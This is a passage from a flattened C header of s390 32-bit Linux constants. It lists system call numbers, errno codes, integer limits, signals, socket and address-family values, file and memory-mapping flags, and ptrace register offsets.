__NR_epoll_create1 327 #define __NR_preadv 328 #define __NR_pwritev 329 #define __NR_rt_tgsigqueueinfo 330 #define __NR_perf_event_open 331 #define __NR_fanotify_init 332 #define __NR_fanotify_mark 333 #define __NR_prlimit64 334 #define __NR_name_to_handle_at 335 #define __NR_open_by_handle_at 336 #define __NR_clock_adjtime 337 #define __NR_syncfs 338 #define __NR_setns 339 #define __NR_process_vm_readv 340 #define __NR_process_vm_writev 341 #define __NR_s390_runtime_instr 342 #define __NR_kcmp 343 #define __NR_finit_module 344 #define __NR_sched_setattr 345 #define __NR_sched_getattr 346 #define __NR_renameat2 347 #define __NR_seccomp 348 #define __NR_getrandom 349 #define __NR_memfd_create 350 #define __NR_bpf 351 #define __NR_s390_pci_mmio_write 352 #define __NR_s390_pci_mmio_read 353 #define __NR_execveat 354 #define __NR_userfaultfd 355 #define __NR_membarrier 356 #define __NR_recvmmsg 357 #define __NR_sendmmsg 358 #define __NR_socket 359 #define __NR_socketpair 360 #define __NR_bind 361 #define __NR_connect 362 #define __NR_listen 363 #define __NR_accept4 364 #define __NR_getsockopt 365 #define __NR_setsockopt 366 #define __NR_getsockname 367 #define __NR_getpeername 368 #define __NR_sendto 369 #define __NR_sendmsg 370 #define __NR_recvfrom 371 #define __NR_recvmsg 372 #define __NR_shutdown 373 #define __NR_mlock2 374 #define __NR_copy_file_range 375 #define __NR_preadv2 376 #define __NR_pwritev2 377 #define __NR_s390_guarded_storage 378 #define __NR_statx 379 #define __NR_s390_sthyi 380 #define __NR_kexec_file_load 381 #define __NR_io_pgetevents 382 #define __NR_rseq 383 #define __NR_pkey_mprotect 384 #define __NR_pkey_alloc 385 #define __NR_pkey_free 386 #define __NR_semget 393 #define __NR_semctl 394 #define __NR_shmget 395 #define __NR_shmctl 396 #define __NR_shmat 397 #define __NR_shmdt 398 #define __NR_msgget 399 #define __NR_msgsnd 400 #define __NR_msgrcv 401 #define __NR_msgctl 402 #define __NR_clock_gettime64 403 #define __NR_clock_settime64 404 #define __NR_clock_adjtime64 405 #define __NR_clock_getres_time64 406 #define __NR_clock_nanosleep_time64 407 #define __NR_timer_gettime64 408 #define __NR_timer_settime64 409 #define __NR_timerfd_gettime64 410 #define __NR_timerfd_settime64 411 #define __NR_utimensat_time64 412 #define __NR_pselect6_time64 413 #define __NR_ppoll_time64 414 #define __NR_io_pgetevents_time64 416 #define __NR_recvmmsg_time64 417 #define __NR_mq_timedsend_time64 418 #define __NR_mq_timedreceive_time64 419 #define __NR_semtimedop_time64 420 #define __NR_rt_sigtimedwait_time64 421 #define __NR_futex_time64 422 #define __NR_sched_rr_get_interval_time64 423 #define __NR_pidfd_send_signal 424 #define __NR_io_uring_setup 425 #define __NR_io_uring_enter 426 #define __NR_io_uring_register 427 #define __NR_open_tree 428 #define __NR_move_mount 429 #define __NR_fsopen 430 #define __NR_fsconfig 431 #define __NR_fsmount 432 #define __NR_fspick 433 #define __NR_pidfd_open 434 #define __NR_clone3 435 #define __NR_openat2 437 #define __NR_pidfd_getfd 438 #define MAP_32BIT 0x40 #define INADDR_ANY 0 #define INADDR_BROADCAST 0xffffffff #define INADDR_NONE 0xffffffff #define INADDR_LOOPBACK 0x7f000001 #define EPERM 1 #define ENOENT 2 #define ESRCH 3 #define EINTR 4 #define EIO 5 #define ENXIO 6 #define E2BIG 7 #define ENOEXEC 8 #define EBADF 9 #define ECHILD 10 #define EAGAIN 11 #define ENOMEM 12 #define EACCES 13 #define EFAULT 14 #define ENOTBLK 15 #define EBUSY 16 #define EEXIST 17 #define EXDEV 18 #define ENODEV 19 #define ENOTDIR 20 #define EISDIR 21 #define EINVAL 22 #define ENFILE 23 #define EMFILE 24 #define ENOTTY 25 #define ETXTBSY 26 #define EFBIG 27 #define ENOSPC 28 #define ESPIPE 29 #define EROFS 30 #define EMLINK 31 #define EPIPE 32 #define EDOM 33 #define ERANGE 34 #define EDEADLK 35 #define ENAMETOOLONG 36 #define ENOLCK 37 #define ENOSYS 38 #define ENOTEMPTY 39 #define ELOOP 40 #define EWOULDBLOCK 11 #define ENOMSG 42 #define EIDRM 43 #define ECHRNG 44 #define EL2NSYNC 45 #define EL3HLT 46 #define EL3RST 47 #define ELNRNG 48 #define EUNATCH 49 #define ENOCSI 50 #define EL2HLT 51 #define EBADE 52 #define EBADR 53 #define EXFULL 54 #define ENOANO 55 #define EBADRQC 56 #define EBADSLT 57 #define EDEADLOCK 35 #define EBFONT 59 #define ENOSTR 60 #define ENODATA 61 #define ETIME 62 #define ENOSR 63 #define ENONET 64 #define ENOPKG 65 #define EREMOTE 66 #define ENOLINK 67 #define EADV 68 #define ESRMNT 69 #define ECOMM 70 #define EPROTO 71 #define EMULTIHOP 72 #define EDOTDOT 73 #define EBADMSG 74 #define EOVERFLOW 75 #define ENOTUNIQ 76 #define EBADFD 77 #define EREMCHG 78 #define ELIBACC 79 #define ELIBBAD 80 #define ELIBSCN 81 #define ELIBMAX 82 #define ELIBEXEC 83 #define EILSEQ 84 #define ERESTART 85 #define ESTRPIPE 86 #define EUSERS 87 #define ENOTSOCK 88 #define EDESTADDRREQ 89 #define EMSGSIZE 90 #define EPROTOTYPE 91 #define ENOPROTOOPT 92 #define EPROTONOSUPPORT 93 #define ESOCKTNOSUPPORT 94 #define EOPNOTSUPP 95 #define ENOTSUP 95 #define EPFNOSUPPORT 96 #define EAFNOSUPPORT 97 #define EADDRINUSE 98 #define EADDRNOTAVAIL 99 #define ENETDOWN 100 #define ENETUNREACH 101 #define ENETRESET 102 #define ECONNABORTED 103 #define ECONNRESET 104 #define ENOBUFS 105 #define EISCONN 106 #define ENOTCONN 107 #define ESHUTDOWN 108 #define ETOOMANYREFS 109 #define ETIMEDOUT 110 #define ECONNREFUSED 111 #define EHOSTDOWN 112 #define EHOSTUNREACH 113 #define EALREADY 114 #define EINPROGRESS 115 #define ESTALE 116 #define EUCLEAN 117 #define ENOTNAM 118 #define ENAVAIL 119 #define EISNAM 120 #define EREMOTEIO 121 #define EDQUOT 122 #define ENOMEDIUM 123 #define EMEDIUMTYPE 124 #define ECANCELED 125 #define ENOKEY 126 #define EKEYEXPIRED 127 #define EKEYREVOKED 128 #define EKEYREJECTED 129 #define EOWNERDEAD 130 #define ENOTRECOVERABLE 131 #define ERFKILL 132 #define EHWPOISON 133 #define __SYS_NERR ((133) + 1) #define __LITTLE_ENDIAN 1234 #define __BIG_ENDIAN 4321 #define __BYTE_ORDER 4321 #define __FLOAT_WORD_ORDER 4321 #define LITTLE_ENDIAN 1234 #define BIG_ENDIAN 4321 #define BYTE_ORDER 4321 #define __WORDSIZE 32 #define INT8_MAX (127) #define INT16_MAX (32767) #define INT32_MAX (2147483647) #define INT64_MAX (9223372036854775807) #define INT8_MIN (-1 - (127)) #define INT16_MIN (-1 - (32767)) #define INT32_MIN (-1 - (2147483647)) #define INT64_MIN (-1 - (9223372036854775807)) #define INT_LEAST8_MAX (127) #define INT_LEAST8_MIN (-1 - (127)) #define INT_LEAST16_MAX (32767) #define INT_LEAST16_MIN (-1 - (32767)) #define INT_LEAST32_MAX (2147483647) #define INT_LEAST32_MIN (-1 - (2147483647)) #define INT_LEAST64_MAX (9223372036854775807) #define INT_LEAST64_MIN (-1 - (9223372036854775807)) #define UINT8_MAX 0xff #define UINT16_MAX 0xffff #define UINT32_MAX 0xffffffff #define UINT64_MAX 0xffffffffffffffff #define UINT_LEAST8_MAX 0xff #define UINT_LEAST16_MAX 0xffff #define UINT_LEAST32_MAX 0xffffffff #define UINT_LEAST64_MAX 0xffffffffffffffff #define INTPTR_MIN (-1 - (2147483647)) #define INTPTR_MAX (2147483647) #define UINTPTR_MAX 0xffffffff #define SIZE_MAX 0xffffffff #define PTRDIFF_MIN (-1 - (2147483647)) #define PTRDIFF_MAX (2147483647) #define INTMAX_MIN (-1 - (9223372036854775807)) #define INTMAX_MAX (9223372036854775807) #define UINTMAX_MAX 0xffffffffffffffff #define INT_FAST8_MIN (-1 - (127)) #define INT_FAST8_MAX (127) #define INT_FAST64_MIN (-1 - (9223372036854775807)) #define INT_FAST64_MAX (9223372036854775807) #define UINT_FAST8_MAX 0xff #define UINT_FAST64_MAX 0xffffffffffffffff #define INT_FAST16_MIN (-1 - (2147483647)) #define INT_FAST16_MAX (2147483647) #define UINT_FAST16_MAX 0xffffffff #define INT_FAST32_MIN (-1 - (2147483647)) #define INT_FAST32_MAX (2147483647) #define UINT_FAST32_MAX 0xffffffff #define WINT_MIN 0 #define __FSUID_H 1 #define NSIG 32 #define _NSIG 65 #define SIGHUP 1 #define SIGINT 2 #define SIGQUIT 3 #define SIGILL 4 #define SIGTRAP 5 #define SIGABRT 6 #define SIGIOT 6 #define SIGFPE 8 #define SIGKILL 9 #define SIGSEGV 11 #define SIGPIPE 13 #define SIGALRM 14 #define SIGTERM 15 #define SIGUNUSED 31 #define SIGBUS 7 #define SIGUSR1 10 #define SIGUSR2 12 #define SIGSTKFLT 16 #define SIGCHLD 17 #define SIGCONT 18 #define SIGSTOP 19 #define SIGTSTP 20 #define SIGTTIN 21 #define SIGTTOU 22 #define SIGURG 23 #define SIGXCPU 24 #define SIGXFSZ 25 #define SIGVTALRM 26 #define SIGPROF 27 #define SIGWINCH 28 #define SIGIO 29 #define SIGPWR 30 #define SIGSYS 31 #define SIGCLD 17 #define SIGPOLL 29 #define SIGLOST 30 #define SIGRTMIN 32 #define SIGRTMAX (65-1) #define SA_NOCLDSTOP 0x00000001 #define SA_NOCLDWAIT 0x00000002 #define SA_SIGINFO 0x00000004 #define SA_RESTORER 0x04000000 #define SA_ONSTACK 0x08000000 #define SA_RESTART 0x10000000 #define SA_INTERRUPT 0x20000000 #define SA_NODEFER 0x40000000 #define SA_RESETHAND 0x80000000 #define SA_NOMASK 0x40000000 #define SA_ONESHOT 0x80000000 #define SS_ONSTACK 1 #define SS_DISABLE 2 #define MINSIGSTKSZ 2048 #define SIGSTKSZ 8192 #define SIG_BLOCK 0 #define SIG_UNBLOCK 1 #define SIG_SETMASK 2 #define SI_MAX_SIZE 128 #define SIGEV_SIGNAL 0 #define SIGEV_NONE 1 #define SIGEV_THREAD 2 #define SIGEV_THREAD_ID 4 #define SIGEV_MAX_SIZE 64 #define _SYS_TIME_H 1 #define ITIMER_REAL 0 #define ITIMER_VIRTUAL 1 #define ITIMER_PROF 2 #define __NUM_GPRS 16 #define __NUM_FPRS 16 #define __NUM_ACRS 16 #define _SIGCONTEXT_NSIG 64 #define _SIGCONTEXT_NSIG_BPW 64 #define __SIGNAL_FRAMESIZE 160 #define _SIGCONTEXT_NSIG_WORDS (64 / 64) #define FD_SETSIZE 1024 #define R_OK 4 #define W_OK 2 #define X_OK 1 #define F_OK 0 #define SEEK_SET 0 #define SEEK_CUR 1 #define SEEK_END 2 #define STDIN_FILENO 0 #define STDOUT_FILENO 1 #define STDERR_FILENO 2 #define _CS_PATH 1 #define _SC_CLK_TCK 1 #define _SC_ARG_MAX 2 #define _SC_NGROUPS_MAX 3 #define _SC_OPEN_MAX 4 #define _SC_PAGESIZE 5 #define _SC_NPROCESSORS_ONLN 6 #define _SC_NPROCESSORS_CONF 6 #define _SC_PHYS_PAGES 7 #define _SC_GETPW_R_SIZE_MAX 8 #define _SC_GETGR_R_SIZE_MAX 9 #define _PC_PATH_MAX 1 #define _PC_VDISABLE 2 #define L_cuserid 17 #define _POSIX_VERSION 199506 #define F_ULOCK 0 #define F_LOCK 1 #define F_TLOCK 2 #define F_TEST 3 #define _POSIX_MAPPED_FILES 200809 #define STAT64_HAS_BROKEN_ST_INO 1 #define S_IFMT 0xf000 #define S_IFSOCK 0xc000 #define S_IFLNK 0xa000 #define S_IFREG 0x8000 #define S_IFBLK 0x6000 #define S_IFDIR 0x4000 #define S_IFCHR 0x2000 #define S_IFIFO 0x1000 #define S_ISUID 0x800 #define S_ISGID 0x400 #define S_ISVTX 0x200 #define S_IRWXU 0x1c0 #define S_IRUSR 0x100 #define S_IWUSR 0x80 #define S_IXUSR 0x40 #define S_IRWXG 0x38 #define S_IRGRP 0x20 #define S_IWGRP 0x10 #define S_IXGRP 0x8 #define S_IRWXO 0x7 #define S_IROTH 0x4 #define S_IWOTH 0x2 #define S_IXOTH 0x1 #define S_IREAD 0x100 #define S_IWRITE 0x80 #define S_IEXEC 0x40 #define _SYS_UIO 1 #define SOL_SOCKET 1 #define SO_DEBUG 1 #define SO_REUSEADDR 2 #define SO_TYPE 3 #define SO_ERROR 4 #define SO_DONTROUTE 5 #define SO_BROADCAST 6 #define SO_SNDBUF 7 #define SO_RCVBUF 8 #define SO_KEEPALIVE 9 #define SO_OOBINLINE 10 #define SO_NO_CHECK 11 #define SO_PRIORITY 12 #define SO_LINGER 13 #define SO_BSDCOMPAT 14 #define SO_REUSEPORT 15 #define SO_PASSCRED 16 #define SO_PEERCRED 17 #define SO_RCVLOWAT 18 #define SO_SNDLOWAT 19 #define SO_RCVTIMEO 20 #define SO_SNDTIMEO 21 #define SO_SECURITY_AUTHENTICATION 22 #define SO_SECURITY_ENCRYPTION_TRANSPORT 23 #define SO_SECURITY_ENCRYPTION_NETWORK 24 #define SO_BINDTODEVICE 25 #define SO_ATTACH_FILTER 26 #define SO_DETACH_FILTER 27 #define SO_GET_FILTER 26 #define SO_PEERNAME 28 #define SO_TIMESTAMP 29 #define SCM_TIMESTAMP 29 #define SO_ACCEPTCONN 30 #define SO_PEERSEC 31 #define SO_SNDBUFFORCE 32 #define SO_RCVBUFFORCE 33 #define SO_PASSSEC 34 #define SO_TIMESTAMPNS 35 #define SCM_TIMESTAMPNS 35 #define SO_MARK 36 #define SO_TIMESTAMPING 37 #define SCM_TIMESTAMPING 37 #define SO_PROTOCOL 38 #define SO_DOMAIN 39 #define SO_RXQ_OVFL 40 #define SO_WIFI_STATUS 41 #define SCM_WIFI_STATUS 41 #define SO_PEEK_OFF 42 #define SO_NOFCS 43 #define SO_LOCK_FILTER 44 #define SO_SELECT_ERR_QUEUE 45 #define SO_BUSY_POLL 46 #define SO_MAX_PACING_RATE 47 #define SO_BPF_EXTENSIONS 48 #define SO_INCOMING_CPU 49 #define SO_ATTACH_BPF 50 #define SO_DETACH_BPF 27 #define SO_ATTACH_REUSEPORT_CBPF 51 #define SO_ATTACH_REUSEPORT_EBPF 52 #define SO_CNX_ADVICE 53 #define SCM_TIMESTAMPING_OPT_STATS 54 #define SO_MEMINFO 55 #define SO_INCOMING_NAPI_ID 56 #define SO_COOKIE 57 #define SCM_TIMESTAMPING_PKTINFO 58 #define SO_PEERGROUPS 59 #define SO_ZEROCOPY 60 #define SOCK_STREAM 1 #define SOCK_DGRAM 2 #define SOCK_RAW 3 #define SOCK_RDM 4 #define SOCK_SEQPACKET 5 #define SOCK_DCCP 6 #define SOCK_PACKET 10 #define UIO_FASTIOV 8 #define UIO_MAXIOV 1024 #define SCM_RIGHTS 0x01 #define SCM_CREDENTIALS 0x02 #define SCM_CONNECT 0x03 #define AF_UNSPEC 0 #define AF_UNIX 1 #define AF_LOCAL 1 #define AF_INET 2 #define AF_AX25 3 #define AF_IPX 4 #define AF_APPLETALK 5 #define AF_NETROM 6 #define AF_BRIDGE 7 #define AF_ATMPVC 8 #define AF_X25 9 #define AF_INET6 10 #define AF_ROSE 11 #define AF_DECnet 12 #define AF_NETBEUI 13 #define AF_SECURITY 14 #define AF_KEY 15 #define AF_NETLINK 16 #define AF_ROUTE 16 #define AF_PACKET 17 #define AF_ASH 18 #define AF_ECONET 19 #define AF_ATMSVC 20 #define AF_SNA 22 #define AF_IRDA 23 #define AF_PPPOX 24 #define AF_WANPIPE 25 #define AF_LLC 26 #define AF_IB 27 #define AF_MPLS 28 #define AF_CAN 29 #define AF_TIPC 30 #define AF_BLUETOOTH 31 #define AF_IUCV 32 #define AF_RXRPC 33 #define AF_ISDN 34 #define AF_PHONET 35 #define AF_IEEE802154 36 #define AF_CAIF 37 #define AF_ALG 38 #define AF_NFC 39 #define AF_VSOCK 40 #define AF_KCM 41 #define AF_QIPCRTR 42 #define AF_SMC 43 #define AF_MAX 44 #define PF_UNSPEC 0 #define PF_UNIX 1 #define PF_LOCAL 1 #define PF_INET 2 #define PF_AX25 3 #define PF_IPX 4 #define PF_APPLETALK 5 #define PF_NETROM 6 #define PF_BRIDGE 7 #define PF_ATMPVC 8 #define PF_X25 9 #define PF_INET6 10 #define PF_ROSE 11 #define PF_DECnet 12 #define PF_NETBEUI 13 #define PF_SECURITY 14 #define PF_KEY 15 #define PF_NETLINK 16 #define PF_ROUTE 16 #define PF_PACKET 17 #define PF_ASH 18 #define PF_ECONET 19 #define PF_ATMSVC 20 #define PF_SNA 22 #define PF_IRDA 23 #define PF_PPPOX 24 #define PF_WANPIPE 25 #define PF_LLC 26 #define PF_IB 27 #define PF_MPLS 28 #define PF_CAN 29 #define PF_TIPC 30 #define PF_BLUETOOTH 31 #define PF_IUCV 32 #define PF_RXRPC 33 #define PF_ISDN 34 #define PF_PHONET 35 #define PF_IEEE802154 36 #define PF_CAIF 37 #define PF_ALG 38 #define PF_NFC 39 #define PF_VSOCK 40 #define PF_KCM 41 #define PF_QIPCRTR 42 #define PF_SMC 43 #define PF_MAX 44 #define SOMAXCONN 128 #define MSG_OOB 1 #define MSG_PEEK 2 #define MSG_DONTROUTE 4 #define MSG_TRYHARD 4 #define MSG_CTRUNC 8 #define MSG_PROBE 0x10 #define MSG_TRUNC 0x20 #define MSG_DONTWAIT 0x40 #define MSG_EOR 0x80 #define MSG_WAITALL 0x100 #define MSG_FIN 0x200 #define MSG_SYN 0x400 #define MSG_CONFIRM 0x800 #define MSG_RST 0x1000 #define MSG_ERRQUEUE 0x2000 #define MSG_NOSIGNAL 0x4000 #define MSG_MORE 0x8000 #define MSG_WAITFORONE 0x10000 #define MSG_SENDPAGE_NOTLAST 0x20000 #define MSG_BATCH 0x40000 #define MSG_EOF 0x200 #define MSG_ZEROCOPY 0x4000000 #define MSG_FASTOPEN 0x20000000 #define MSG_CMSG_CLOEXEC 0x40000000 #define SOL_IP 0 #define SOL_TCP 6 #define SOL_UDP 17 #define SOL_IPV6 41 #define SOL_ICMPV6 58 #define SOL_SCTP 132 #define SOL_UDPLITE 136 #define SOL_RAW 255 #define SOL_IPX 256 #define SOL_AX25 257 #define SOL_ATALK 258 #define SOL_NETROM 259 #define SOL_ROSE 260 #define SOL_DECNET 261 #define SOL_X25 262 #define SOL_PACKET 263 #define SOL_ATM 264 #define SOL_AAL 265 #define SOL_IRDA 266 #define SOL_NETBEUI 267 #define SOL_LLC 268 #define SOL_DCCP 269 #define SOL_NETLINK 270 #define SOL_TIPC 271 #define SOL_RXRPC 272 #define SOL_PPPOL2TP 273 #define SOL_BLUETOOTH 274 #define SOL_PNPIPE 275 #define SOL_RDS 276 #define SOL_IUCV 277 #define SOL_CAIF 278 #define SOL_ALG 279 #define SOL_NFC 280 #define SOL_KCM 281 #define SOL_TLS 282 #define IPX_TYPE 1 #define SHUT_RD 0 #define SHUT_WR 1 #define SHUT_RDWR 2 #define NI_NOFQDN 1 #define NI_NUMERICHOST 2 #define NI_NAMEREQD 4 #define NI_NUMERICSERV 8 #define NI_DGRAM 16 #define EAI_FAMILY -1 #define EAI_SOCKTYPE -2 #define EAI_BADFLAGS -3 #define EAI_NONAME -4 #define EAI_SERVICE -5 #define EAI_ADDRFAMILY -6 #define EAI_NODATA -7 #define EAI_MEMORY -8 #define EAI_FAIL -9 #define EAI_AGAIN -10 #define EAI_SYSTEM -11 #define AI_NUMERICHOST 1 #define AI_CANONNAME 2 #define AI_PASSIVE 4 #define AI_NUMERICSERV 8 #define AI_ADDRCONFIG 16 #define AI_V4MAPPED 32 #define AI_ALL 64 #define SIOCADDRT 0x890B #define SIOCDELRT 0x890C #define SIOCRTMSG 0x890D #define SIOCGIFNAME 0x8910 #define SIOCSIFLINK 0x8911 #define SIOCGIFCONF 0x8912 #define SIOCGIFFLAGS 0x8913 #define SIOCSIFFLAGS 0x8914 #define SIOCGIFADDR 0x8915 #define SIOCSIFADDR 0x8916 #define SIOCGIFDSTADDR 0x8917 #define SIOCSIFDSTADDR 0x8918 #define SIOCGIFBRDADDR 0x8919 #define SIOCSIFBRDADDR 0x891a #define SIOCGIFNETMASK 0x891b #define SIOCSIFNETMASK 0x891c #define SIOCGIFMETRIC 0x891d #define SIOCSIFMETRIC 0x891e #define SIOCGIFMEM 0x891f #define SIOCSIFMEM 0x8920 #define SIOCGIFMTU 0x8921 #define SIOCSIFMTU 0x8922 #define SIOCSIFNAME 0x8923 #define SIOCSIFHWADDR 0x8924 #define SIOCGIFENCAP 0x8925 #define SIOCSIFENCAP 0x8926 #define SIOCGIFHWADDR 0x8927 #define SIOCGIFSLAVE 0x8929 #define SIOCSIFSLAVE 0x8930 #define SIOCADDMULTI 0x8931 #define SIOCDELMULTI 0x8932 #define SIOCGIFINDEX 0x8933 #define SIOGIFINDEX 0x8933 #define SIOCSIFPFLAGS 0x8934 #define SIOCGIFPFLAGS 0x8935 #define SIOCDIFADDR 0x8936 #define SIOCSIFHWBROADCAST 0x8937 #define SIOCGIFCOUNT 0x8938 #define SIOCGIFBR 0x8940 #define SIOCSIFBR 0x8941 #define SIOCGIFTXQLEN 0x8942 #define SIOCSIFTXQLEN 0x8943 #define SIOCGIFDIVERT 0x8944 #define SIOCSIFDIVERT 0x8945 #define SIOCETHTOOL 0x8946 #define SIOCDARP 0x8953 #define SIOCGARP 0x8954 #define SIOCSARP 0x8955 #define SIOCDRARP 0x8960 #define SIOCGRARP 0x8961 #define SIOCSRARP 0x8962 #define SIOCGIFMAP 0x8970 #define SIOCSIFMAP 0x8971 #define SIOCADDDLCI 0x8980 #define SIOCDELDLCI 0x8981 #define SIOCDEVPRIVATE 0x89F0 #define F_LINUX_SPECIFIC_BASE 1024 #define O_ACCMODE 0x3 #define O_RDONLY 0x0 #define O_WRONLY 0x1 #define O_RDWR 0x2 #define O_CREAT 0x40 #define O_EXCL 0x80 #define O_NOCTTY 0x100 #define O_TRUNC 0x200 #define O_APPEND 0x400 #define O_NONBLOCK 0x800 #define O_NDELAY 0x800 #define O_DSYNC 0x1000 #define FASYNC 0x2000 #define O_DIRECT 0x4000 #define O_LARGEFILE 0x8000 #define O_DIRECTORY 0x10000 #define O_NOFOLLOW 0x20000 #define O_NOATIME 0x40000 #define O_CLOEXEC 0x80000 #define O_SYNC 0x101000 #define O_PATH 0x200000 #define __O_TMPFILE 0x400000 #define F_DUPFD 0 #define F_GETFD 1 #define F_SETFD 2 #define F_GETFL 3 #define F_SETFL 4 #define F_GETLK 5 #define F_SETLK 6 #define F_SETLKW 7 #define F_SETOWN 8 #define F_GETOWN 9 #define F_SETSIG 10 #define F_GETSIG 11 #define F_GETLK64 12 #define F_SETLK64 13 #define F_SETLKW64 14 #define FD_CLOEXEC 1 #define F_RDLCK 0 #define F_WRLCK 1 #define F_UNLCK 2 #define F_EXLCK 4 #define F_SHLCK 8 #define F_INPROGRESS 16 #define LOCK_SH 1 #define LOCK_EX 2 #define LOCK_NB 4 #define LOCK_UN 8 #define LOCK_MAND 32 #define LOCK_READ 64 #define LOCK_WRITE 128 #define LOCK_RW 192 #define O_TMPFILE 0x410000 #define O_ASYNC 0x2000 #define F_SETOWN_EX 15 #define F_GETOWN_EX 16 #define F_GETOWNER_UIDS 17 #define F_OFD_GETLK 36 #define F_OFD_SETLK 37 #define F_OFD_SETLKW 38 #define F_OWNER_TID 0 #define F_OWNER_PID 1 #define F_OWNER_PGRP 2 #define AT_FDCWD -100 #define AT_SYMLINK_NOFOLLOW 0x100 #define AT_REMOVEDIR 0x200 #define AT_SYMLINK_FOLLOW 0x400 #define AT_NO_AUTOMOUNT 0x800 #define AT_EMPTY_PATH 0x1000 #define AT_EACCESS 0x200 #define MREMAP_MAYMOVE 1 #define MREMAP_FIXED 2 #define PROT_READ 0x1 #define PROT_WRITE 0x2 #define PROT_EXEC 0x4 #define PROT_SEM 0x8 #define PROT_NONE 0x0 #define PROT_GROWSDOWN 0x01000000 #define PROT_GROWSUP 0x02000000 #define MAP_SHARED 0x01 #define MAP_PRIVATE 0x02 #define MAP_TYPE 0xf #define MADV_REMOVE 9 #define MADV_DONTFORK 10 #define MADV_DOFORK 11 #define MADV_MERGEABLE 12 #define MADV_UNMERGEABLE 13 #define MADV_HUGEPAGE 14 #define MADV_NOHUGEPAGE 15 #define MADV_DONTDUMP 16 #define MADV_DODUMP 17 #define MADV_HWPOISON 100 #define MADV_SOFT_OFFLINE 101 #define MLOCK_ONFAULT 1 #define MAP_FIXED 0x10 #define MAP_ANONYMOUS 0x20 #define MAP_GROWSDOWN 0x0100 #define MAP_DENYWRITE 0x0800 #define MAP_EXECUTABLE 0x1000 #define MAP_LOCKED 0x2000 #define MAP_NORESERVE 0x4000 #define MAP_POPULATE 0x8000 #define MAP_NONBLOCK 0x10000 #define MAP_STACK 0x20000 #define MAP_HUGETLB 0x40000 #define MS_ASYNC 1 #define MS_INVALIDATE 2 #define MS_SYNC 4 #define MCL_CURRENT 1 #define MCL_FUTURE 2 #define MCL_ONFAULT 4 #define MADV_NORMAL 0x0 #define MADV_RANDOM 0x1 #define MADV_SEQUENTIAL 0x2 #define MADV_WILLNEED 0x3 #define MADV_DONTNEED 0x4 #define MAP_ANON 0x20 #define MAP_FILE 0 #define POSIX_MADV_NORMAL 0x0 #define POSIX_MADV_SEQUENTIAL 0x2 #define POSIX_MADV_RANDOM 0x1 #define POSIX_MADV_WILLNEED 0x3 #define POSIX_MADV_DONTNEED 0x4 #define PTRACE_TRACEME 0 #define PTRACE_PEEKTEXT 1 #define PTRACE_PEEKDATA 2 #define PTRACE_PEEKUSR 3 #define PTRACE_PEEKUSER 3 #define PTRACE_POKETEXT 4 #define PTRACE_POKEDATA 5 #define PTRACE_POKEUSR 6 #define PTRACE_POKEUSER 6 #define PTRACE_CONT 7 #define PTRACE_KILL 8 #define PTRACE_SINGLESTEP 9 #define PTRACE_ATTACH 0x10 #define PTRACE_DETACH 0x11 #define PTRACE_SYSCALL 24 #define PTRACE_GETEVENTMSG 0x4201 #define PTRACE_GETSIGINFO 0x4202 #define PTRACE_SETSIGINFO 0x4203 #define PTRACE_O_TRACESYSGOOD 0x00000001 #define PTRACE_O_TRACEFORK 0x00000002 #define PTRACE_O_TRACEVFORK 0x00000004 #define PTRACE_O_TRACECLONE 0x00000008 #define PTRACE_O_TRACEEXEC 0x00000010 #define PTRACE_O_TRACEVFORKDONE 0x00000020 #define PTRACE_O_TRACEEXIT 0x00000040 #define PTRACE_O_MASK 0x0000007f #define PTRACE_EVENT_FORK 1 #define PTRACE_EVENT_VFORK 2 #define PTRACE_EVENT_CLONE 3 #define PTRACE_EVENT_EXEC 4 #define PTRACE_EVENT_VFORK_DONE 5 #define PTRACE_EVENT_EXIT 6 #define PT_TRACE_ME 0 #define PT_READ_I 1 #define PT_READ_D 2 #define PT_READ_U 3 #define PT_WRITE_I 4 #define PT_WRITE_D 5 #define PT_WRITE_U 6 #define PT_CONTINUE 7 #define PT_KILL 8 #define PT_STEP 9 #define PT_ATTACH 0x10 #define PT_DETACH 0x11 #define PT_PSWMASK 0x00 #define PT_PSWADDR 0x04 #define PT_GPR0 0x08 #define PT_GPR1 0x0C #define PT_GPR2 0x10 #define PT_GPR3 0x14 #define PT_GPR4 0x18 #define PT_GPR5 0x1C #define PT_GPR6 0x20 #define PT_GPR7 0x24 #define PT_GPR8 0x28 #define PT_GPR9 0x2C #define PT_GPR10 0x30 #define PT_GPR11 0x34 #define PT_GPR12 0x38 #define PT_GPR13 0x3C #define PT_GPR14 0x40 #define PT_GPR15 0x44 #define PT_ACR0 0x48 #define PT_ACR1 0x4C #define PT_ACR2 0x50 #define PT_ACR3 0x54 #define PT_ACR4 0x58 #define PT_ACR5 0x5C #define PT_ACR6 0x60 #define PT_ACR7 0x64 #define PT_ACR8 0x68 #define PT_ACR9 0x6C #define PT_ACR10 0x70 #define PT_ACR11 0x74 #define PT_ACR12 0x78 #define PT_ACR13 0x7C #define PT_ACR14 0x80 #define PT_ACR15 0x84 #define PT_ORIGGPR2 0x88 #define PT_FPC 0x90 #define PT_FPR0_HI 0x98 #define PT_FPR0_LO 0x9C #define PT_FPR1_HI 0xA0 #define PT_FPR1_LO 0xA4 #define PT_FPR2_HI 0xA8 #define PT_FPR2_LO 0xAC #define PT_FPR3_HI 0xB0 #define PT_FPR3_LO 0xB4 #define PT_FPR4_HI 0xB8 #define PT_FPR4_LO 0xBC #define PT_FPR5_HI 0xC0 #define PT_FPR5_LO 0xC4 #define PT_FPR6_HI 0xC8 #define PT_FPR6_LO 0xCC #define PT_FPR7_HI 0xD0 #define PT_FPR7_LO 0xD4 #define PT_FPR8_HI 0xD8 #define PT_FPR8_LO 0XDC #define PT_FPR9_HI 0xE0 #define PT_FPR9_LO 0xE4 #define PT_FPR10_HI 0xE8 #define PT_FPR10_LO 0xEC #define PT_FPR11_HI 0xF0 #define PT_FPR11_LO 0xF4 #define PT_FPR12_HI 0xF8 #define PT_FPR12_LO 0xFC #define PT_FPR13_HI 0x100 #define PT_FPR13_LO 0x104 #define PT_FPR14_HI 0x108 #define PT_FPR14_LO 0x10C #define PT_FPR15_HI 0x110 #define PT_FPR15_LO 0x114 #define PT_CR_9 0x118 #define PT_CR_10 0x11C #define PT_CR_11 0x120 #define PT_IEEE_IP 0x13C #define PT_LASTOFF 0x13C #define PT_ENDREGS 0x140-1 #define NUM_GPRS 16 #define NUM_FPRS 16 #define NUM_CRS 16 #define NUM_ACRS 16 #define GPR_SIZE 4 #define FPR_SIZE 8 #define FPC_SIZE 4 #define FPC_PAD_SIZE 4 #define CR_SIZE 4 #define ACR_SIZE 4 #define STACK_FRAME_OVERHEAD 96 #define FPC_EXCEPTION_MASK 